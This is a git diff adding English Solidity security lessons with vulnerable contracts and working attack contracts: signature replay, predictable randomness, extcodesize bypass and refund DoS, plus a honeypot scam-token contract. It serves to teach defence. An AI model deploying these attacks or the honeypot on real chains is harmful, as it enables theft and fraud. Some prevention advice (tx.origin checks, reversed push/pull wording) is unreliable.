minting function. It uses off-chain signatures to allow whitelisted address `to` to mint a corresponding amount `amount` of tokens. The contract stores the `signer` address to verify the validity of the signature. + +```solidity +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.4; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; + +// Access control bad example +contract SigReplay is ERC20 { + + address public signer; + + // Constructor: initialize token name and symbol + constructor() ERC20("SigReplay", "Replay") { + signer = msg.sender; + } + + /** + * Mint function with signature replay vulnerability + * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * amount: 1000 + * Signature: 0x5a4f1ad4d8bd6b5582e658087633230d9810a0b7b8afa791e3f94cc38947f6cb1069519caf5bba7b975df29cbfdb4ada355027589a989435bf88e825841452f61b + */ + function badMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(getMessageHash(to, amount)); + require(verify(_msgHash, signature), "Invalid Signer!"); + _mint(to, amount); + } + + /** + * Concatenate the 'to' address (address type) and 'amount' (uint256 type) to form the message 'msgHash' + * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + * amount: 1000 + * Corresponding message 'msgHash': 0xb4a4ba10fbd6886a312ec31c54137f5714ddc0e93274da8746a36d2fa96768be + */ + function getMessageHash(address to, uint256 amount) public pure returns(bytes32){ + return keccak256(abi.encodePacked(to, amount)); + } + + /** + * @dev Get the Ethereum signed message hash + * `hash`: Message hash + * Follows the Ethereum signature standard: https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] + * and `EIP191`: https://eips.ethereum.org/EIPS/eip-191` + * Adds the "\x19Ethereum Signed Message:\n32" field to prevent signing of executable transactions. + */ + function toEthSignedMessageHash(bytes32 hash) public pure returns (bytes32) { + // 32 is the length in bytes of hash, + // enforced by the type signature above + return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); + } + + // ECDSA verification + function verify(bytes32 _msgHash, bytes memory _signature) public view returns (bool){ + return ECDSA.recover(_msgHash, _signature) == signer; + } +``` + +**Note:** The `badMint()` function does not check for duplicate `signature`, allowing the same signature to be used multiple times, resulting in unlimited token minting. + +```solidity + function badMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(keccak256(abi.encodePacked(to, amount))); + require(verify(_msgHash, signature), "Invalid Signer!"); + _mint(to, amount); + } +``` + +## Reproduce on `Remix` + +**1.** Deploy the `SigReplay` contract, where the signer address `signer` is initialized with the deploying wallet address. + +![](./img/S06-2.png) + +**2.** Use the `getMessageHash` function to obtain the message. + +![](./img/S06-3.png) + +**3.** Click the signature button in the Remix deployment panel to sign the message using the private key. + +![](./img/S06-4.png) + +**4.** Repeatedly call `badMint` to perform signature replay attacks and mint a large amount of tokens. + +![](./img/S06-5.png) + +## How to Prevent + +There are two main methods to prevent signature replay attacks: + +1. Keep a record of used signatures, such as recording the addresses that have already minted tokens in the `mintedAddress` mapping, to prevent the reuse of signatures: + + ```solidity + mapping(address => bool) public mintedAddress; // Records addresses that have already minted + + function goodMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(getMessageHash(to, amount)); + require(verify(_msgHash, signature), "Invalid Signer!"); + // Check if the address has already minted + require(!mintedAddress[to], "Already minted"); + // Record the address minted + mintedAddress[to] = true; + _mint(to, amount); + } + ``` + +2. Include `nonce` (incremented for each transaction) and `chainid` (chain ID) in the signed message to prevent both regular replay and cross-chain replay attacks: + + ```solidity + uint nonce; + + function nonceMint(address to, uint amount, bytes memory signature) public { + bytes32 _msgHash = toEthSignedMessageHash(keccak256(abi.encodePacked(to, amount, nonce, block.chainid))); + require(verify(_msgHash, signature), "Invalid Signer!"); + _mint(to, amount); + nonce++; + } + ``` + +## Summary + +In this lesson, we discussed the signature replay vulnerability in smart contracts and introduced two methods to prevent: + +1. Keep a record of used signatures to prevent their reuse. + +2. Include `nonce` and `chainid` in the signed message. diff --git a/Languages/en/S07_BadRandomness_en/BadRandomness.sol b/Languages/en/S07_BadRandomness_en/BadRandomness.sol new file mode 100644 index 000000000..b8211974b --- /dev/null +++ b/Languages/en/S07_BadRandomness_en/BadRandomness.sol @@ -0,0 +1,32 @@ +// SPDX-License-Identifier: MIT +// By 0xAA +// english translation by 22X +pragma solidity ^0.8.4; +import "../34_ERC721/ERC721.sol"; + +contract BadRandomness is ERC721 { + uint256 totalSupply; + + // Constructor, initializes the name and symbol of the NFT collection + constructor() ERC721("", ""){} + + // Mint function: can only mint when the input luckyNumber is equal to the random number + function luckyMint(uint256 luckyNumber) external { + uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number + require(randomNumber == luckyNumber, "Better luck next time!"); + + _mint(msg.sender, totalSupply); // mint + totalSupply++; + } +} + +contract Attack { + function attackMint(BadRandomness nftAddr) external { + // Pre-calculate the random number + uint256 luckyNumber = uint256( + keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)) + ) % 100; + // Attack using the luckyNumber + nftAddr.luckyMint(luckyNumber); + } +} diff --git a/Languages/en/S07_BadRandomness_en/img/S07-1.png b/Languages/en/S07_BadRandomness_en/img/S07-1.png new file mode 100644 index 000000000..2ca9bcab7 Binary files /dev/null and b/Languages/en/S07_BadRandomness_en/img/S07-1.png differ diff --git a/Languages/en/S07_BadRandomness_en/readme.md b/Languages/en/S07_BadRandomness_en/readme.md new file mode 100644 index 000000000..2493c19c6 --- /dev/null +++ b/Languages/en/S07_BadRandomness_en/readme.md @@ -0,0 +1,93 @@ +--- +title: S07. Bad Randomness +tags: + - solidity + - security + - random +--- + +# WTF Solidity S07. Bad Randomness + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +----- + +In this lesson, we will discuss the Bad Randomness vulnerability in smart contracts and methods to prevent. This vulnerability is commonly found in NFT and GameFi projects, including Meebits, Loots, Wolf Game, etc. + +## Pseudorandom Numbers + +Many applications on Ethereum require the use of random numbers, such as randomly assigning `tokenId` for NFTs, opening loot boxes, and determining outcomes in GameFi battles. However, due to the transparency and determinism of all data on Ethereum, it does not provide a built-in method for generating random numbers like other programming languages do with `random()`. As a result, many projects have to rely on on-chain pseudorandom number generation methods, such as `blockhash()` and `keccak256()`. + +Bad Randomness vulnerability: Attackers can pre-calculate the results of these pseudorandom numbers, allowing them to achieve their desired outcomes, such as minting any rare NFT they want instead of a random selection. For more information, you can read [WTF Solidity 39: Pseudo-random Numbers](https://github.com/AmazingAng/WTF-Solidity/tree/main/39_Random). + +![](./img/S07-1.png) + +## Bad Randomness Example + +Now let's learn about an NFT contract with the Bad Randomness vulnerability: BadRandomness.sol. + +```solidity +contract BadRandomness is ERC721 { + uint256 totalSupply; + + // Constructor, initializes the name and symbol of the NFT collection + constructor() ERC721("", ""){} + + // Mint function: can only mint when the input luckyNumber is equal to the random number + function luckyMint(uint256 luckyNumber) external { + uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number + require(randomNumber == luckyNumber, "Better luck next time!"); + + _mint(msg.sender, totalSupply); // mint + totalSupply++; + } +} +``` + +It has a main minting function called `luckyMint()`, where users input a number between `0-99`. If the input number matches the pseudorandom number `randomNumber` generated on the blockchain, the user can mint a lucky NFT. The pseudorandom number is claimed to be generated using `blockhash` and `block.timestamp`. The vulnerability lies in the fact that users can perfectly predict the generated random number and mint NFTs. + +Now let's write an attack contract called `Attack.sol`. + +```solidity +contract Attack { + function attackMint(BadRandomness nftAddr) external { + // Pre-calculate the random number + uint256 luckyNumber = uint256( + keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)) + ) % 100; + // Attack using the luckyNumber + nftAddr.luckyMint(luckyNumber); + } +} +``` + +The parameter in the attack function `attackMint()` is the address of the `BadRandomness` contract. In it, we calculate the random number `luckyNumber` and pass it as a parameter to the `luckyMint()` function to complete the attack. Since `attackMint()` and `luckyMint()` are called in the same block, the `blockhash` and `block.timestamp` are the same, resulting in the same random number generated using them. + +## Reproduce on `Remix` + +Since the Remix VM does not support the `blockhash` function, you need to deploy the contract to an Ethereum testnet for reproduction. + +1. Deploy the `BadRandomness` contract. + +2. Deploy the `Attack` contract. + +3. Pass the address of the `BadRandomness` contract as a parameter to the `attackMint()` function of the `Attack` contract and call it to complete the attack. + +4. Call the `balanceOf` function of the `BadRandomness` contract to check the NFT balance of the `Attack` contract and confirm the success of the attack. + +## How to Prevent + +To prevent such vulnerabilities, we often use off-chain random numbers provided by oracle projects, such as Chainlink VRF. These random numbers are generated off-chain and then uploaded to the blockchain, ensuring that the numbers are unpredictable. For more information, you can read [WTF Solidity 39: Pseudo-random Numbers](https://github.com/AmazingAng/WTF-Solidity/tree/main/39_Random). + +## Summary + +In this lesson, we introduced the Bad Randomness vulnerability and discussed a simple method to prevent it: using off-chain random numbers provided by oracle projects. NFT and GameFi projects should avoid using on-chain pseudorandom numbers for lotteries to prevent exploitation by hackers. + diff --git a/Languages/en/S08_ContractCheck_en/ContractCheck.sol b/Languages/en/S08_ContractCheck_en/ContractCheck.sol new file mode 100644 index 000000000..f590a7926 --- /dev/null +++ b/Languages/en/S08_ContractCheck_en/ContractCheck.sol @@ -0,0 +1,48 @@ +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.4; +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +// Check if an address is a contract using extcodesize +contract ContractCheck is ERC20 { + // Constructor: Initialize token name and symbol + constructor() ERC20("", "") {} + + // Use extcodesize to check if it's a contract + function isContract(address account) public view returns (bool) { + // Addresses with extcodesize > 0 are definitely contract addresses + // However, during contract construction, extcodesize is 0 + uint size; + assembly { + size := extcodesize(account) + } + return size > 0; + } + + // mint function, only callable by non-contract addresses (vulnerable) + function mint() public { + require(!isContract(msg.sender), "Contract not allowed!"); + _mint(msg.sender, 100); + } +} + +// Attack using constructor's behavior +contract NotContract { + bool public isContract; + address public contractCheck; + + // When the contract is being created, extcodesize (code length) is 0, so it won't be detected by isContract(). + constructor(address addr) { + contractCheck = addr; + isContract = ContractCheck(addr).isContract(address(this)); + // This will work + for(uint i; i < 10; i++){ + ContractCheck(addr).mint(); + } + } + + // After the contract is created, extcodesize > 0, isContract() can detect it + function mint() external { + ContractCheck(contractCheck).mint(); + } +} diff --git a/Languages/en/S08_ContractCheck_en/img/S08-1.png b/Languages/en/S08_ContractCheck_en/img/S08-1.png new file mode 100644 index 000000000..75e8ef5ad Binary files /dev/null and b/Languages/en/S08_ContractCheck_en/img/S08-1.png differ diff --git a/Languages/en/S08_ContractCheck_en/readme.md b/Languages/en/S08_ContractCheck_en/readme.md new file mode 100644 index 000000000..ad11885ca --- /dev/null +++ b/Languages/en/S08_ContractCheck_en/readme.md @@ -0,0 +1,124 @@ +--- +title: S08. Contract Check Bypassing +tags: + - solidity + - security + - constructor +--- + +# WTF Solidity S08. Contract Length Check Bypassing + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +----- + +In this lesson, we will discuss contract length checks bypassing and introduce how to prevent it. + +## Bypassing Contract Check + +Many free-mint projects use the `isContract()` method to restrict programmers/hackers and limit the caller `msg.sender` to external accounts (EOA) rather than contracts. This function uses `extcodesize` to retrieve the bytecode length (runtime) stored at the address. If the length is greater than 0, it is considered a contract; otherwise, it is an EOA (user). + +```solidity + // Use extcodesize to check if it's a contract + function isContract(address account) public view returns (bool) { + // Addresses with extcodesize > 0 are definitely contract addresses + // However, during contract construction, extcodesize is 0 + uint size; + assembly { + size := extcodesize(account) + } + return size > 0; + } +``` + +Here is a vulnerability where the `runtime bytecode` is not yet stored at the address when the contract is being created, so the `bytecode` length is 0. This means that if we write the logic in the constructor of the contract, we can bypass the `isContract()` check. + +![](./img/S08-1.png) + +## Vulnerability Example + +Let's take a look at an example: The `ContractCheck` contract is a free-mint ERC20 contract, and the `mint()` function uses the `isContract()` function to prevent calls from contract addresses, preventing hackers from minting tokens in batch. Each call to `mint()` can mint 100 tokens. + +```solidity +// Check if an address is a contract using extcodesize +contract ContractCheck is ERC20 { + // Constructor: Initialize token name and symbol + constructor() ERC20("", "") {} + + // Use extcodesize to check if it's a contract + function isContract(address account) public view returns (bool) { + // Addresses with extcodesize > 0 are definitely contract addresses + // However, during contract construction, extcodesize is 0 + uint size; + assembly { + size := extcodesize(account) + } + return size > 0; + } + + // mint function, only callable by non-contract addresses (vulnerable) + function mint() public { + require(!isContract(msg.sender), "Contract not allowed!"); + _mint(msg.sender, 100); + } +} +``` + +We will write an attack contract that calls the `mint()` function multiple times in the `constructor` to mint `1000` tokens in batch: + +```solidity +// Attack using constructor's behavior +contract NotContract { + bool public isContract; + address public contractCheck; + + // When the contract is being created, extcodesize (code length) is 0, so it won't be detected by isContract(). + constructor(address addr) { + contractCheck = addr; + isContract = ContractCheck(addr).isContract(address(this)); + // This will work + for(uint i; i < 10; i++){ + ContractCheck(addr).mint(); + } + } + + // After the contract is created, extcodesize > 0, isContract() can detect it + function mint() external { + ContractCheck(contractCheck).mint(); + } +} +``` + +If what we mentioned earlier is correct, calling `mint()` in the constructor can bypass the `isContract()` check and successfully mint tokens. In this case, the function will be deployed successfully and the state variable `isContract` will be assigned `false` in the constructor. However, after the contract is deployed, the runtime bytecode is stored at the contract address, `extcodesize > 0`, and `isContract()` can successfully prevent minting, causing the `mint()` function to fail. + +## Reproduce on `Remix` + +1. Deploy the `ContractCheck` contract. + +2. Deploy the `NotContract` contract with the `ContractCheck` contract address as the parameter. + +3. Call the `balanceOf` function of the `ContractCheck` contract to check that the token balance of the `NotContract` contract is `1000`, indicating a successful attack. + +4. Call the `mint()` function of the `NotContract` contract. Since the contract has already been deployed, calling the `mint()` function will fail. + +## How to Prevent + +You can use `(tx.origin == msg.sender)` to check if the caller is a contract. If the caller is an EOA, `tx.origin` and `msg.sender` will be equal; if they are not equal, the caller is a contract. + +``` +function realContract(address account) public view returns (bool) { + return (tx.origin == msg.sender); +} +``` + +## Summary + +In this lecture, we introduced a vulnerability where the contract length check can be bypassed, and we discussed methods to prevent it. If the `extcodesize` of an address is greater than 0, then the address is definitely a contract. However, if `extcodesize` is 0, the address could be either an externally owned account (`EOA`) or a contract in the process of being created. \ No newline at end of file diff --git a/Languages/en/S09_DoS_en/DoS.sol b/Languages/en/S09_DoS_en/DoS.sol new file mode 100644 index 000000000..c0c670d31 --- /dev/null +++ b/Languages/en/S09_DoS_en/DoS.sol @@ -0,0 +1,52 @@ +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.4; + +// Game with DoS vulnerability, players deposit money and call refund to withdraw it after the game ends. +contract DoSGame { + bool public refundFinished; + mapping(address => uint256) public balanceOf; + address[] public players; + + // All players deposit ETH into the contract + function deposit() external payable { + require(!refundFinished, "Game Over"); + require(msg.value > 0, "Please donate ETH"); + // Record the deposit + balanceOf[msg.sender] = msg.value; + // Record the player's address + players.push(msg.sender); + } + + // Game ends, refund starts, all players receive refunds one by one + function refund() external { + require(!refundFinished, "Game Over"); + uint256 pLength = players.length; + // Loop through all players to refund them + for(uint256 i; i < pLength; i++){ + address player = players[i]; + uint256 refundETH = balanceOf[player]; + (bool success, ) = player.call{value: refundETH}(""); + require(success, "Refund Fail!"); + balanceOf[player] = 0; + } + refundFinished = true; + } + + function balance() external view returns(uint256){ + return address(this).balance; + } +} + +contract Attack { + // DoS attack during refund + fallback() external payable{ + revert("DoS Attack!"); + } + + // Participate in the DoS game and deposit + function attack(address gameAddr) external payable { + DoSGame dos = DoSGame(gameAddr); + dos.deposit{value: msg.value}(); + } +} \ No newline at end of file diff --git a/Languages/en/S09_DoS_en/img/S09-1.png b/Languages/en/S09_DoS_en/img/S09-1.png new file mode 100644 index 000000000..de62818ab Binary files /dev/null and b/Languages/en/S09_DoS_en/img/S09-1.png differ diff --git a/Languages/en/S09_DoS_en/img/S09-2.png b/Languages/en/S09_DoS_en/img/S09-2.png new file mode 100644 index 000000000..2e207d274 Binary files /dev/null and b/Languages/en/S09_DoS_en/img/S09-2.png differ diff --git a/Languages/en/S09_DoS_en/img/S09-3.jpg b/Languages/en/S09_DoS_en/img/S09-3.jpg new file mode 100644 index 000000000..176c41441 Binary files /dev/null and b/Languages/en/S09_DoS_en/img/S09-3.jpg differ diff --git a/Languages/en/S09_DoS_en/img/S09-4.jpg b/Languages/en/S09_DoS_en/img/S09-4.jpg new file mode 100644 index 000000000..234387fff Binary files /dev/null and b/Languages/en/S09_DoS_en/img/S09-4.jpg differ diff --git a/Languages/en/S09_DoS_en/img/S09-5.jpg b/Languages/en/S09_DoS_en/img/S09-5.jpg new file mode 100644 index 000000000..39f70bc7b Binary files /dev/null and b/Languages/en/S09_DoS_en/img/S09-5.jpg differ diff --git a/Languages/en/S09_DoS_en/readme.md b/Languages/en/S09_DoS_en/readme.md new file mode 100644 index 000000000..23f10791d --- /dev/null +++ b/Languages/en/S09_DoS_en/readme.md @@ -0,0 +1,129 @@ +--- +title: S09. Denial of Service (DoS) +tags: + - solidity + - security + - fallback +--- + +# WTF Solidity S09. Denial of Service (DoS) + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will introduce the Denial of Service (DoS) vulnerability in smart contracts and discuss methods for prevention. The NFT project Akutar once suffered a loss of 11,539 ETH, worth $34 million at the time, due to a DoS vulnerability. + +## DoS + +In Web2, a Denial of Service (DoS) attack refers to the phenomenon of overwhelming a server with a large amount of junk or disruptive information, rendering it unable to serve legitimate users. In Web3, it refers to exploiting vulnerabilities that prevent a smart contract from functioning properly. + +In April 2022, a popular NFT project called Akutar raised 11,539.5 ETH through a Dutch auction for its public launch, achieving great success. Participants who held their community Pass were supposed to receive a refund of 0.5 ETH. However, when they attempted to process the refunds, they discovered that the smart contract was unable to function correctly, resulting in all funds being permanently locked in the contract. Their smart contract had a DoS vulnerability. + +![](./img/S09-1.png) + +## Vulnerability Example + +Now let's study a simplified version of the Akutar contract called `DoSGame`. This contract has a simple logic: when the game starts, players call the `deposit()` function to deposit funds into the contract, and the contract records the addresses of all players and their corresponding deposits. When the game ends, the `refund()` function is called to refund ETH to all players in sequence. + +```solidity +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.4; + +// Game with DoS vulnerability, players deposit money and call refund to withdraw it after the game ends. +contract DoSGame { + bool public refundFinished; + mapping(address => uint256) public balanceOf; + address[] public players; + + // All players deposit ETH into the contract + function deposit() external payable { + require(!refundFinished, "Game Over"); + require(msg.value > 0, "Please donate ETH"); + // Record the deposit + balanceOf[msg.sender] = msg.value; + // Record the player's address + players.push(msg.sender); + } + + // Game ends, refund starts, all players receive refunds one by one + function refund() external { + require(!refundFinished, "Game Over"); + uint256 pLength = players.length; + // Loop through all players to refund them + for(uint256 i; i < pLength; i++){ + address player = players[i]; + uint256 refundETH = balanceOf[player]; + (bool success, ) = player.call{value: refundETH}(""); + require(success, "Refund Fail!"); + balanceOf[player] = 0; + } + refundFinished = true; + } + + function balance() external view returns(uint256){ + return address(this).balance; + } +} +``` + +The vulnerability here lies in the `refund()` function, where a loop is used to refund the players using the `call` function, which triggers the fallback function of the target address. If the target address is a malicious contract and contains malicious logic in its fallback function, the refund process will not be executed properly. + +``` +(bool success, ) = player.call{value: refundETH}(""); +``` + +Below, we write an attack contract where the `attack()` function calls the `deposit()` function of the `DoSGame` contract to deposit funds and participate in the game. The `fallback()` fallback function reverts all transactions sending ETH to this contract, attacking the DoS vulnerability in the `DoSGame` contract. As a result, all refunds cannot be executed properly, and the funds are locked in the contract, just like the over 11,000 ETH in the Akutar contract. + +```solidity +contract Attack { + // DoS attack during refund + fallback() external payable{ + revert("DoS Attack!"); + } + + // Participate in the DoS game and deposit + function attack(address gameAddr) external payable { + DoSGame dos = DoSGame(gameAddr); + dos.deposit{value: msg.value}(); + } +} +``` + +## Reproduce on `Remix` + +**1.** Deploy the `DoSGame` contract. +**2.** Call the `deposit()` function of the `DoSGame` contract to make a deposit and participate in the game. +![](./img/S09-2.png) +**3.** At this point, if the game is over and `refund()` is called, the refund will be executed successfully. +![](./img/S09-3.jpg) +**3.** Redeploy the `DoSGame` contract and deploy the `Attack` contract. +**4.** Call the `attack()` function of the `Attack` contract to make a deposit and participate in the game. +![](./img/S09-4.jpg) +**5.** Call the `refund()` function of the `DoSGame` contract to initiate a refund, but it fails to execute properly, indicating a successful attack. +![](./img/S09-5.jpg) + +## How to Prevent + +Many logic errors can lead to denial of service in smart contracts, so developers need to be extremely cautious when writing smart contracts. Here are some areas that require special attention: + +1. Failure of external contract function calls (e.g., `call`) should not result in the blocking of important functionality. For example, removing the `require(success, "Refund Fail!");` statement in the vulnerable contract allows the refund process to continue even if a single address fails. +2. Contracts should not unexpectedly self-destruct. +3. Contracts should not enter infinite loops. +4. Parameters for `require` and `assert` should be set correctly. +5. When refunding, allow users to claim funds from the contract (push) instead of sending funds to users in batch (pull). +6. Ensure that callback functions do not interfere with the normal operation of the contract. +7. Ensure that the main business of the contract can still function properly even when participants (e.g., `owner`) are absent. + +## Summary + +In this lesson, we introduced the denial of service vulnerability in smart contracts, which caused the Akutar project to lose over 10,000 ETH. Many logic errors can lead to DoS attacks, so developers need to be extremely cautious when writing smart contracts. For example, refunds should be claimed by users individually instead of being sent in batch by the contract. diff --git a/Languages/en/S10_Honeypot_en/Honeypot.sol b/Languages/en/S10_Honeypot_en/Honeypot.sol new file mode 100644 index 000000000..a7e3a6bf2 --- /dev/null +++ b/Languages/en/S10_Honeypot_en/Honeypot.sol @@ -0,0 +1,49 @@ +// SPDX-License-Identifier: MIT +// english translation by 22X +pragma solidity ^0.8.4; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +// Simple Honeypot ERC20 token, can only be bought, not sold +contract HoneyPot is ERC20, Ownable { + address public pair; + // Constructor: Initialize token name and symbol + constructor() ERC20("HoneyPot", "Pi Xiu") { + address factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // goerli uniswap v2 factory + address tokenA = address(this); // Honeypot token address + address tokenB = 0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6; // goerli WETH + (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); // Sort tokenA and tokenB in ascending order + bytes32 salt = keccak256(abi.encodePacked(token0, token1)); + // calculate pair address + pair = address(uint160(uint(keccak256(abi.encodePacked( + hex'ff', + factory, + salt, + hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' + ))))); + } + + /** + * Mint function, can only be called by the contract owner + */ + function mint(address to, uint amount) public onlyOwner { + _mint(to, amount); + } + + /** + * @dev See {ERC20-_beforeTokenTransfer}. + * Honeypot function: Only the contract owner can sell + */ + function _beforeTokenTransfer( + address from, + address to, + uint256 amount + ) internal virtual override { + super._beforeTokenTransfer(from, to, amount); + // Revert if the transfer target address is the LP contract + if(to == pair){ + require(from == owner(), "Can not Transfer"); + } + } +} \ No newline at end of file diff --git a/Languages/en/S10_Honeypot_en/img/S10-1.png b/Languages/en/S10_Honeypot_en/img/S10-1.png new file mode 100644 index 000000000..f78eae22a Binary files /dev/null and b/Languages/en/S10_Honeypot_en/img/S10-1.png differ diff --git a/Languages/en/S10_Honeypot_en/img/S10-2.png b/Languages/en/S10_Honeypot_en/img/S10-2.png new file mode 100644 index 000000000..b85e24260 Binary files /dev/null and b/Languages/en/S10_Honeypot_en/img/S10-2.png differ diff --git a/Languages/en/S10_Honeypot_en/img/S10-3.png b/Languages/en/S10_Honeypot_en/img/S10-3.png new file mode 100644 index 000000000..553d28ce6 Binary files /dev/null and b/Languages/en/S10_Honeypot_en/img/S10-3.png differ diff --git a/Languages/en/S10_Honeypot_en/img/S10-4.png b/Languages/en/S10_Honeypot_en/img/S10-4.png new file mode 100644 index 000000000..a92584f40 Binary files /dev/null and b/Languages/en/S10_Honeypot_en/img/S10-4.png differ diff --git a/Languages/en/S10_Honeypot_en/img/S10-5.png b/Languages/en/S10_Honeypot_en/img/S10-5.png new file mode 100644 index 000000000..556a31e2a Binary files /dev/null and b/Languages/en/S10_Honeypot_en/img/S10-5.png differ diff --git a/Languages/en/S10_Honeypot_en/img/S10-6.png b/Languages/en/S10_Honeypot_en/img/S10-6.png new file mode 100644 index 000000000..07daf3882 Binary files /dev/null and b/Languages/en/S10_Honeypot_en/img/S10-6.png differ diff --git a/Languages/en/S10_Honeypot_en/img/S10-7.png b/Languages/en/S10_Honeypot_en/img/S10-7.png new file mode 100644 index 000000000..a46a31b4a Binary files /dev/null and b/Languages/en/S10_Honeypot_en/img/S10-7.png differ diff --git a/Languages/en/S10_Honeypot_en/readme.md b/Languages/en/S10_Honeypot_en/readme.md new file mode 100644 index 000000000..9977f3c1a --- /dev/null +++ b/Languages/en/S10_Honeypot_en/readme.md @@ -0,0 +1,135 @@ +--- +title: S10. Honeypot / Pixiu +tags: + - solidity + - security + - erc20 + - swap +--- + +# WTF Solidity S10. Honeypot / Pixiu + +Recently, I have been revisiting Solidity, consolidating the finer details, and writing "WTF Solidity" tutorials for newbies. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) | [@WTFAcademy\_](https://twitter.com/WTFAcademy_) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[Website wtf.academy](https://wtf.academy) + +Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +English translations by: [@to_22X](https://twitter.com/to_22X) + +--- + +In this lesson, we will introduce the Pixiu contract and stay away from Pixiu tokens. + +> Note: In English, a "Pixiu" token is usually referred to as a "Honeypot" token. In the following sections, we will use the term "Pixiu" to refer to honeypot tokens. + +## Introduction to Pixiu + +[Pixiu](https://en.wikipedia.org/wiki/Pixiu) is a mythical creature in Chinese culture. In Web3, Pixiu has transformed into an unknown beast and become the nemesis of investors. The characteristics of a Pixiu scam are that investors can only buy tokens and the project owner is the only one who can sell. + +Typically, a Pixiu scam follows the following lifecycle: + +1. Malicious project owner deploys the Pixiu token contract. +2. Promote the Pixiu token to retail investors, and due to the inability to sell, the token price keeps rising. +3. The project owner performs a "rug pull" and runs away with the funds. + +![](./img/S10-1.png) + +Understanding the principles of the Pixiu contract is essential for identifying and avoiding being scammed, allowing you to become a resilient investor! + +## The Pixiu Contract + +Here, we introduce a simple ERC20 token contract called `Pixiu`. In this contract, only the contract owner can sell the tokens on Uniswap, while other addresses cannot. + +`Pixiu` has a state variable called `pair`, which records the address of the `Pixiu-ETH LP` pair on Uniswap. It mainly consists of three functions: + +1. Constructor: Initializes the token's name and symbol, and calculates the LP contract address based on the principles of Uniswap and `create2`. For more details, you can refer to [WTF Solidity 25: Create2](https://github.com/AmazingAng/WTF-Solidity/blob/main/Languages/en/25_Create2_en/readme.md). This address will be used in the `_beforeTokenTransfer()` function. +2. `mint()`: A minting function that can only be called by the `owner` address to mint `Pixiu` tokens. +3. `_beforeTokenTransfer()`: A function called before an ERC20 token transfer. In this function, we restrict the transfer when the destination address `to` is the LP address, which represents selling by investors. The transaction will `revert` unless the caller is the `owner`. This is the core of the Pixiu contract. + +```solidity +// Simple Honeypot ERC20 token, can only be bought, not sold +contract HoneyPot is ERC20, Ownable { + address public pair; + // Constructor: Initialize token name and symbol + constructor() ERC20("HoneyPot", "Pi Xiu") { + address factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; // goerli uniswap v2 factory + address tokenA = address(this); // Honeypot token address + address tokenB = 0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6; // goerli WETH + (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); 